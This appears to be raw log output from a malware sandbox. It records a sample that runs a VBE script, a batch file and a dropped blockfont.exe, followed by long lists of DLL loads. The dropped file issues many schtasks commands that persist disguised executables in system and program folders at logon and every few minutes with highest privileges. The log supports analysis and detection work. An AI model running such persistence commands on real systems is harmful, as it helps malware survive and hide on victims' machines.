Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe"
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Recovery\SearchApp.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe"
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\serversessionmonitor\blockfont.exe "C:\serversessionmonitor\blockfont.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: version.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
